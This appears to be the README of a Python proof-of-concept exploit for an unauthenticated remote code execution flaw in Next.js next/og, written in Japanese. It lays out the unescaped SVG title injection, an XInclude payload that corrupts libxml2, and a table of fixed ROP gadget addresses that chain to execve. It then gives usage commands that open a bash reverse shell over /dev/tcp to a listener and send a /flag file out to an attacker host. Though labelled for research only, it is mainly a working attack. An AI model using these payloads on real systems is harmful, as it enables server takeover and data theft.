
CVE-2026-94545 の Python PoC:Next.js の next/og におけるエスケープされていない SVG 入力を悪用し、libxml2 の破損と ROP チェーンを引き起こして未認証の RCE を実現します。
next/og 未認証のリモートコード実行セキュリティ研究目的のみ、許可された脆弱性環境でのみ使用してください。
| 項目 | 値 |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| 上流 | Satori GHSA-wx4j-mvgx-mqwp |
| 根本原因 | CWE-116 (出力の不適切なエンコードまたはエスケープ) → ネイティブ XML パーサーのメモリ破壊 → RCE |
| 影響範囲 | Next.js 16.2.0 – 16.3.5 (sharp がインストールされた Node ランタイム); バンドルされた Satori ≥ 0.0.27 かつ < 0.33.5 |
| 修正済み | Next.js 16.3.6 / Satori 0.33.5 |
| 影響 | 認証なしで Next.js サービスプロセス内の任意のコマンドを実行 |
| 検証済みスタック | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6、librsvg 2.62.91、libxml2 2.15.3) + Node.js v24.20.0 公式 x64 バイナリ (非 PIE) |
Edge ランタイム (export const runtime = 'edge') を使用する場合、または sharp がインストールされていない場合、レンダリングは resvg-wasm サンドボックスを経由するため、この脆弱性はネイティブのパースチェーンに到達せず、したがって RCE にはなりません。
ユーザー入力はプレーンテキストとして SVG に連結され、この SVG はそのまま data: URL に詰め込まれて C 言語の XML パーサーに渡され、2 回目のパースが行われます。その間に行われるのは URL エンコードのみであり、XML エスケープは一切行われません。
典型的なパターン: POST /api/og がリクエストボディ全体を、または GET /api/og?value= がクエリパラメータを、フィルタリングやエスケープなしで ImageResponse の SVG <title> に直接配置します。
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse は JSX 要素ツリーを受け取り、PNG を返します。リクエストデータを SVG の子ノード / 属性 / スタイルに書き込むルートはすべてシンクです。
next/og エントリの転送node_modules/next/og.js は next/dist/server/og/image-response.js に転送します。Node ランタイムは next/dist/compiled/@vercel/og/index.node.js(ネイティブパス)を動的に読み込みます。Edge ランタイムは wasm パスを読み込むため、この脆弱性の影響を受けません。
@vercel/og — Satori が SVG を生成し、ラスタライズのために引き渡すNext.js にバンドルされた @vercel/og(コンパイル済みアーティファクトのコメントにより [email protected] を含むことが確認されています)のフローは次のとおりです:
sharp が検出された場合、SVG をネイティブライブラリに渡してラスタライズします。それ以外の場合は resvg-wasm にフォールバックします。const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
この時点で、ユーザー入力はすでに SVG 文字列となっており、そのまま sharp(ネイティブ libvips)に渡されます。
JSX で明示的に記述された <svg> の場合、Satori はそれを丸ごと data:image/svg+xml URL にシリアライズし、出力に <image> として埋め込みます。
vercel/[email protected] の src/layout.ts: <svg> ノードに入ると SVGNodeToImage を呼び出します。
src/handler/preprocess.ts には 2 つの重大な欠陥があります:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&、<、> は & / < / > として書き出されません。パーセントエンコーディングはあくまで URL 構文上の要件にすぎません。下流のパーサーが data: URL を読み込むとき、%3C/title%3E は実際の </title> に復元され、攻撃者のテキストは「データ」から「文書構造」へと遷移します。
入力が </title><xi:include …/><title> の場合、Satori から sharp へ渡される中間 SVG は次の形式になります(説明のためデコード済み):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
ペイロードは2層のインジェクションを用いてlibxml2の入力構造を制御します:
</title><xi:include parse="xml" href="data:…"> により、パーサーは攻撃者が完全に制御するネストされたドキュメントの読み込みへとジャンプします。libxml2の内部状態が想定を超えて押し出され、その結果として範囲外書き込みが発生します。この破壊効果は、慎重に配置されたSVG <path> 座標シーケンス(8バイトのリトルエンディアンワードを運ぶIEEE-754倍精度浮動小数点数)を介して確実に着地し、それによって制御フローをハイジャックします。
execve公式リリースのNode.js linux-x64バイナリは非PIE実行ファイルであり、ロードベースが固定されているため、PLT / GOTおよびガジェットのアドレスは一定であり、情報リークは不要です。
このPoCはNode.js v24.20.0公式x64に対してビルドされており、ガジェットは以下のとおりです:
| シンボル | アドレス | 用途 |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret(スクラッチにqword単位で書き込む) |
EXECVE_PLT | 0x745FA0 | execve のPLTスタブ |
SCRATCH | 0x6B5F500 | 固定の書き込み可能アドレス |
ROPチェーンはまず pop rax / stosq を用いて "/bin/sh\0"、"-c\0"、コマンド文字列、およびargv配列をqword単位で SCRATCH に書き込み、その後 rdi = path、rsi = argv、rdx = envp(0) を設定し、EXECVE_PLT へジャンプします:
execve("/bin/sh", ["/bin/sh", "-c", "<command>"], NULL)
レンダリングプロセス自体が execve に置き換えられ、HTTP 接続が切断されてサービスが応答しなくなります。これはこの脆弱性の悪用が成功したことの本質的な現れです。新しいプロセスは Node プロセスの環境を継承し、任意のコマンドを実行できます。
exploit.py は Python 3 標準ライブラリで実装されており、サードパーティの依存関係はありません。コマンドを SVG の <path> 座標にエンコードし、XInclude + ネストした DTD エンティティを介して /api/og に POST されるペイロードを組み立てます。
ROP チェーンは、上記で説明した Node v24.20.0 / sharp 0.35.4 のスタックに合わせて調整されています。ターゲットは以下を満たす必要があります。
runtime = 'nodejs'、sharp がインストールされていること<title> を介して閉じられる)厳格な制約:
/bin/sh は通常 dash であり、>/dev/tcp/... をサポートしていません。/dev/tcp が必要な場合は、bash -c '...' でラップしてください。--output を使用してペイロードのみを生成し、その後 curl で自分自身で送信してください。受信側で先にリスナーを起動するか、スクリプトに nc を直接起動させてください:
# In another terminal on your machine
nc -lvnp 4444
python3 exploit.py --target <host>:<port> --lhost <lhost>:4444
--lhost が --command なしで指定された場合、スクリプトは次を生成します:
bash -c 'bash -i>&/dev/tcp/<lhost>/<port> 0>&1'
シェルを取得したら、ファイルを読み取り、後続のコマンドを実行できます。コマンド全体が依然として71バイトの制限を受けることに注意してください。
# Receiver
nc -lvnp 4444
python3 exploit.py --target <host>:<port> \
--command 'bash -c "cat /flag>/dev/tcp/<lhost>/4444"'